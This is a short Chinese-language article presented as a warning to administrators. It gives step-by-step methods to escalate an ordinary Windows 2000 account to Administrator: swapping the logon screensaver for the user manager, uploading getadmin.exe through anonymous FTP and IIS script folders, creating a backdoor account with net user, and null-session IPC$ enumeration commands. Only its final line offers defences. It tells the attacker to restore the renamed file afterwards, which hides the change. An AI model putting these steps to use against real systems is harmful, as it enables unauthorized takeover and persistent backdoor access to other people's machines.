本文揭示四種在 Windows 2000 環境下將普通帳號提權為 Administrator 的手法，旨在提醒管理員加強防護。

手法一：替換螢幕保護程式

1. 備份 c:\winnt\system32\logon.scr 為 logon.old
2. 將 usrmgr.exe (使用者管理員) 改名為 logon.scr
3. 重開機 → 直接進入使用者管理員介面 → 將自己加入 Administrators 群組
4. 事後務必將檔名改回

手法二：利用匿名 FTP 存取與 IIS 虛擬目錄

1. 連線允許匿名登入的 IIS FTP，取得 NetBIOS 名稱 (如 ntsvr2)
2. 推測 IIS 匿名帳號 IUSR_ntsvr2 (屬 Domain Users)
3. 若 Guest 帳號未停用且無密碼，可登入 FTP
4. 上傳 cmd.exe、getadmin.exe、gasys.dll 至 cgi-bin 或 scripts 目錄
5. 透過瀏覽器請求 ?IUSR_ntsvr2 觸發提權，約 10 秒後該帳號升為 Administrator
6. 再以 net user china news /add 建立後門帳號

手法三：NetBIOS 掃描與 IPC$ 連線

nbtstat -a 目標IP        # 取得共享資源名
net view \\目標IP        # 列出共享
net use f: \\目標IP\c$   # 映射 C 槽 (需權限)
net use \\IP\ipc$ "" /u:""  # 建立空會話枚舉資訊

手法四：Unix 移植工具抓取封包

• Win9x/Me：WinDump95.exe + Packet95.exe
• WinNT/2K/XP：WinDump.exe + PacketNT.exe

防護建議：停用 Guest、設定強制密碼、關閉不必要的 FTP/匿名存取、限制 CGI/Scripts 目錄寫入權限、部署防火牆與 IDS、定期修補系統漏洞。